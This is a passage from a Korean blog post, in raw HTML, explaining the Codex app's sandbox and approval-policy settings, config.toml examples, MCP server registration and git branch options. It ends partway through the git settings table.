&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;config.toml 열기&lt;/b&gt;: 기본 텍스트 에디터로 &lt;code&gt;~/.codex/config.toml&lt;/code&gt;을 연다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;승인 정책&lt;/b&gt;: &lt;i&gt;On request&lt;/i&gt;가 기본 선택. 드롭다운에는 &lt;code&gt;Untrusted&lt;/code&gt;, &lt;code&gt;On failure&lt;/code&gt;, &lt;code&gt;On request&lt;/code&gt;, &lt;code&gt;Never&lt;/code&gt; 네 값이 모두 노출된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;샌드박스 설정&lt;/b&gt;: &lt;i&gt;Read only&lt;/i&gt;가 기본 선택.다른 값은 &lt;code&gt;Workspace write&lt;/code&gt;, &lt;code&gt;Full access&lt;/code&gt; (config.toml에는 &lt;code&gt;danger-full-access&lt;/code&gt;로 적힘).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Codex 종속성&lt;/b&gt;: ON이면 앱이 번들된 Node.js&amp;middot;Python을 사용. OFF면 시스템 PATH의 런타임을 사용.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;현재 버전&lt;/b&gt;: 직접 검증한 로컬 앱은 &lt;code&gt;26.430.10722&lt;/code&gt;로 표시(2026-05-02 기준).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;진단 / 재설치 버튼&lt;/b&gt;: 종속성 손상 시 진단을 돌리고, 필요하면 번들 런타임을 재설치한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;샌드박스 모드 표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;GUI 라벨&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;&lt;code&gt;sandbox_mode&lt;/code&gt;&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Read only&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;read-only&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;읽기&amp;middot;조회 중심. 파일 쓰기나 경계 밖 액션은 승인 정책에 따라 멈춘다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Workspace write&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;workspace-write&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;현재 워크스페이스 안에서 쓰기 허용. 외부 디렉터리&amp;middot;네트워크&amp;middot;민감 액션은 추가 제한을 받을 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Full access&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;danger-full-access&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&quot;Can edit files outside this workspace&quot; &amp;mdash; 샌드박스 제한 해제. config.toml 값은 &lt;code&gt;danger-full-access&lt;/code&gt;이지만 GUI 라벨은 &lt;b&gt;Full access&lt;/b&gt;로 표시된다. 호스트 전체에 영향을 줄 수 있으므로 별도 격리 환경에서만 쓴다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;승인 정책 표&lt;/h3&gt;
&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;b&gt;Untrusted / On failure / On request / Never&lt;/b&gt;
&lt;figure style=&quot;margin: 16px 0;&quot;&gt;
&lt;figcaption style=&quot;font-size: 12px; color: #888; margin-top: 6px; text-align: center;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcA3gY/dJMcaaZrqzv/7K71V7qyJku7mrRXKeOEc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcA3gY/dJMcaaZrqzv/7K71V7qyJku7mrRXKeOEc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcA3gY/dJMcaaZrqzv/7K71V7qyJku7mrRXKeOEc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcA3gY%2FdJMcaaZrqzv%2F7K71V7qyJku7mrRXKeOEc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1212&quot; height=&quot;498&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;b&gt;Read only / Workspace write / Full access&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;figure style=&quot;margin: 16px 0;&quot;&gt;
&lt;figcaption style=&quot;font-size: 12px; color: #888; margin-top: 6px; text-align: center;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1192&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2WqCg/dJMcafsUFog/crfD4iEOVhgkRb8kZ0CpxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2WqCg/dJMcafsUFog/crfD4iEOVhgkRb8kZ0CpxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2WqCg/dJMcafsUFog/crfD4iEOVhgkRb8kZ0CpxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2WqCg%2FdJMcafsUFog%2FcrfD4iEOVhgkRb8kZ0CpxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1192&quot; height=&quot;386&quot; data-origin-width=&quot;1192&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;code&gt;&lt;/code&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;GUI 라벨&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;&lt;code&gt;approval_policy&lt;/code&gt;&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Untrusted&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;untrusted&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Always ask before taking action. 모든 액션마다 승인 요청.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;On failure&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;on-failure&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Ask only when a command fails. 명령이 실패했을 때만 승인 요청.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;On request&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;on-request&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Ask when escalation is requested. 에이전트가 권한 상승을 요청할 때만 승인. 화면 기본값.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Never&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;&quot;never&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Run without asking for approval. 자동화&amp;middot;CI처럼 사람이 중간 승인할 수 없는 환경에서만 신중히 사용.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f5f0; padding: 15px; border-radius: 8px; border-left: 4px solid #10a37f; margin: 0 0 20px 0;&quot;&gt;&lt;b&gt;고급: granular 승인 정책&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 6px;&quot; data-ke-size=&quot;size8&quot;&gt;네 문자열 값 외에 &lt;code&gt;approval_policy = { granular = { ... } }&lt;/code&gt; 객체 형태도 지원된다. sandbox_approval, rules, mcp_elicitations, request_permissions, skill_approval 카테고리별로 승인 여부를 독립 제어할 수 있다. 기본 네 값으로 충분한 경우가 대부분이지만, MCP 호출만 별도 승인하고 싶은 경우 등에 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 6px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config Reference&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;config.toml 예시&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# ~/.codex/config.toml

# 샌드박스: 워크스페이스 안에서만 쓰기 허용
sandbox_mode = &quot;workspace-write&quot;

# 승인 정책: 필요한 경우에만 승인 요청
approval_policy = &quot;on-request&quot;

[agents]
# 동시에 돌릴 수 있는 에이전트 스레드 수 (기본값 6)
max_threads = 6

# MCP 서버 등록 &amp;mdash; 섹션 7 참조
[mcp_servers.context7]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GUI에서 토글한 값은 즉시 &lt;code&gt;config.toml&lt;/code&gt;에 반영된다. 반대로 &lt;code&gt;config.toml&lt;/code&gt;을 직접 편집하면 다음 실행 시 GUI에 그대로 보인다. 다만 &lt;b&gt;GUI와 파일을 동시에 편집할 때 어느 쪽이 우선인지는 공식 docs에 명확한 안내가 보이지 않는다.&lt;/b&gt; 한쪽만 골라 쓰는 편이 깔끔하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f5f0; padding: 18px 20px; border-radius: 10px; border-left: 4px solid #10a37f; margin: 20px 0;&quot;&gt;&lt;b&gt;Codex 종속성 ON / OFF&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;ON이면 앱이 자체 번들한 Node.js&amp;middot;Python을 사용한다. 시스템에 어떤 버전이 깔려 있어도 영향이 없다.&lt;br /&gt;OFF면 PATH 상의 시스템 런타임을 사용한다. &lt;code&gt;nvm&lt;/code&gt;&amp;middot;&lt;code&gt;asdf&lt;/code&gt;&amp;middot;&lt;code&gt;pyenv&lt;/code&gt; 환경을 그대로 쓰고 싶을 때 끈다.&lt;br /&gt;종속성이 깨졌다는 메시지가 보이면 &lt;b&gt;진단 &amp;rarr; 재설치&lt;/b&gt; 순서로 복구한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 7: MCP ===== --&gt;
&lt;h2 id=&quot;mcp&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. MCP 서버 통합&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol)는 외부 도구&amp;middot;데이터를 표준화된 방식으로 LLM에 붙이는 프로토콜이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 MCP 문서는 CLI와 IDE 확장의 공유 설정을 중심으로 설명하고, 플러그인 문서는 MCP 서버를 플러그인 구성요소 중 하나로 설명한다. 현재 Codex 앱 화면에도 MCP 서버 메뉴가 있어 앱에서 직접 관리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉 &lt;b&gt;특정 벤더 락인 없이 직접 호스팅한 서버, 오픈소스 서버, 사내 서버를 가져와 붙이는 구조&lt;/b&gt;로 이해하면 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP server integration&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plugins&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추가 방법 &amp;mdash; GUI vs config.toml&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서 기준 CLI와 IDE 확장은 같은 &lt;code&gt;config.toml&lt;/code&gt; 설정을 공유한다. Codex 앱은 화면에서 MCP 서버를 관리할 수 있으므로, GUI에서 보이는 값과 &lt;code&gt;config.toml&lt;/code&gt;을 함께 확인하는 방식이 안전하다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;GUI&lt;/b&gt;: 설정 &amp;rarr; MCP 서버 &amp;rarr; &lt;b&gt;+ 서버 추가&lt;/b&gt; &amp;rarr; 이름&amp;middot;command&amp;middot;args 입력.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;config.toml 직접 편집&lt;/b&gt;: &lt;code&gt;~/.codex/config.toml&lt;/code&gt;에 &lt;code&gt;[mcp_servers.&amp;lt;name&amp;gt;]&lt;/code&gt; 블록 추가.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 요즘엔 그냥 자연어로 ~~ MCP 추가해줘 라고 말만해도 쉽게 등록이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 &amp;mdash; context7 MCP&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# ~/.codex/config.toml

[mcp_servers.context7]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]

# 사내 서버 추가 예시
[mcp_servers.internal_kb]
command = &quot;node&quot;
args = [&quot;/Users/me/mcp-servers/internal-kb/dist/index.js&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI와 IDE 확장이 같은 &lt;code&gt;config.toml&lt;/code&gt;을 읽는다는 점이 가장 큰 장점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반복해서 쓰는 MCP 서버는 파일에 명시해 두면 터미널 &lt;code&gt;codex&lt;/code&gt; 명령과 IDE 확장에서 같은 설정을 재사용할 수 있다. 앱 GUI에서 추가한 서버도 같은 이름과 실행 명령이 들어갔는지 &lt;code&gt;config.toml&lt;/code&gt;에서 한 번 확인해 두면 혼선을 줄일 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추가 필드 &amp;mdash; enabled, required, HTTP 서버&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;command&lt;/code&gt;/&lt;code&gt;args&lt;/code&gt; 외에 실용적인 필드가 더 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;enabled = false&lt;/code&gt;를 추가하면 블록을 삭제하지 않고 서버를 일시 비활성화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;required = true&lt;/code&gt;로 설정하면 해당 서버가 연결되지 않을 때 앱 시작이 실패하므로, 팀 필수 서버에 달아 두면 빠뜨릴 수 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP server integration&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;HTTP 기반 MCP 서버는 &lt;code&gt;command&lt;/code&gt; 대신 &lt;code&gt;url&lt;/code&gt;과 &lt;code&gt;bearer_token_env_var&lt;/code&gt;를 쓴다. 토큰은 환경 변수 이름으로 전달해 파일에 직접 노출되지 않게 한다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# HTTP 서버 예시 (bearer token 인증)
[mcp_servers.company_api]
url = &quot;https://mcp.internal.example.com/sse&quot;
bearer_token_env_var = &quot;COMPANY_MCP_TOKEN&quot;

# stdio 서버 &amp;mdash; 일시 비활성화
[mcp_servers.context7]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]
enabled = false

# 팀 필수 서버 &amp;mdash; 없으면 시작 실패
[mcp_servers.internal_kb]
command = &quot;node&quot;
args = [&quot;/opt/mcp/internal-kb/index.js&quot;]
required = true
&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플러그인과의 차이 한 줄&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;플러그인은 OpenAI가 골라 둔 GUI 통합이고, MCP는 사용자가 직접 가져와 붙이는 표준 프로토콜이다. 같은 서비스(예: GitHub)를 두 경로 모두로 연결할 수도 있는데, 동작 범위가 겹치면 혼선이 생기니 한쪽만 활성화하는 편이 정리된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 8: 깃 ===== --&gt;
&lt;h2 id=&quot;git&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 깃 통합 &amp;mdash; 브랜치 접두사 &amp;middot; 워크트리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;깃 메뉴는 Codex가 만든 변경을 어떤 모양으로 저장할지 결정한다. 기본값이 잘 잡혀 있어 그대로 써도 무방하지만, 팀 규칙에 맞춰 한 번 손보면 PR 흐름이 깔끔해진다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;1760&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tNpNO/dJMcacJLqu2/mRKQOLlu40T7Qch1CUJCak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tNpNO/dJMcacJLqu2/mRKQOLlu40T7Qch1CUJCak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tNpNO/dJMcacJLqu2/mRKQOLlu40T7Qch1CUJCak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtNpNO%2FdJMcacJLqu2%2FmRKQOLlu40T7Qch1CUJCak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;823&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;1760&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;설정&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;기본값&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;브랜치 접두사&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;codex/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;에이전트가 만드는 모든 브랜치 앞에 자동으로 붙는다. 예: &lt;code&gt;codex/fix-login&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;PR 병합 방법&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;병합 / 스쿼시&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;팀 컨벤션에 맞춰 선택한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;사이드바 PR 아이콘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;OFF&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;사이드바에 PR 상태 아이콘 표시 여부.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;항상 강제 푸시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;OFF&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;ON으로 두면 &lt;code&gt;--force-with-lease&lt;/code&gt; 류의 강제 푸시를 매번 수행한다. 팀 환경에선 신중히 켠다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
